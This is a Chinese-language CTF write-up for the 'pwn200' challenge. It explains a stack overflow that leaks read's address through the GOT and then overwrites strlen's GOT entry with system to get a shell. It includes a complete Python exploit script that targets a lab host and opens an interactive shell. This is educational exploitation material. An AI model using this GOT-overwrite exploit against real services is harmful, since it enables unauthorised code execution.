标签:
题目给出了pwn200和libc.so。使用IDA查看程序,发现逻辑很简单。
使用checksec查看pwn200的安全属性,如下图:
发现NX enabled,No PIE。
在第一次读(0x08048524位置)的时候,可以读取17个字节,观察栈结构:
发现可以将nbytes覆盖,可以覆盖为0xff。
在第二次读(0x08048596位置)的时候,可以覆盖程序的返回地址至“08048507 call _write”,并且构造栈参数(为了泄露库函数的虚拟地址)。如下:
这样程序一返回(080485C1 retn)就执行write库函数,通过GOT泄露出某个库函数(这里可以泄露read的虚拟地址)的虚拟地址,从而通过IDA查看libc.so中system的位置和read的位置差,可以计算出system的虚拟地址。
紧接着会第三次读(0x08048524位置),这个读到内存的位置是:ebp+buf即ebp-0x1C,那么我们可以通过在第二次读的时候构造理想的ebp,使得我们能够将覆盖GOT中strlen库函数的虚拟地址,覆盖为system的虚拟地址;同时,将buf开始处存储/bin/sh。这样在进行接下来的strlen函数调用时,相当于执行system("/bin/sh"),因此获得shell。
exploit是来自http://www.imsebao.com/。思路很清晰,我稍加注释。
from socket import * from struct import * import time #remote ‘‘‘ readOffset = 0x000de3a0 systOffset = 0x0003f430 ‘‘‘ #local readOffset = 0x000bdd20 systOffset = 0x00039100 param = ‘/bin/sh\x00‘ + ‘ls home‘ + ‘a‘*5#‘ls home‘ and ‘a‘*5 are paddings so that to override 0x08049858 #0x08049858 is strlen‘s address s = socket(AF_INET, SOCK_STREAM) s.connect((‘192.168.200.7‘, 10001)) #construct name,override nbytes to \xff name = ‘syclover‘+ ‘\x00‘ + ‘abcdefg‘ + ‘\xFF‘ # input name: print s.recv(1024) s.send(name) showReadGot = ‘A‘*156 showReadGot += pack(‘<I‘, 0x08049860)#why 0x08049860? we want to override 0x08049858 to syst showReadGot += pack(‘<I‘, 0x08048507)#override ret to call write showReadGot += pack(‘<I‘, 1)#stdout showReadGot += pack(‘<I‘, 0x08049850)#src,read‘s got showReadGot += pack(‘<I‘, 4)#num # input slogan: print s.recv(1024) s.send(showReadGot) read = s.recv(1024)[-4:]#leak read‘s virtual address in process viraddr_read = unpack(‘<I‘, read)[0] print ‘viraddr_read: %x‘ % viraddr_read syst = viraddr_read - readOffset + systOffset print ‘system: %x‘ % syst exploit = param + pack(‘<I‘, syst) s.send(exploit) while True: s.send(raw_input(‘$ ‘) + ‘\n‘) time.sleep(0.5) print s.recv(1024)
标签:
原文地址:http://www.cnblogs.com/wangaohui/p/4392488.html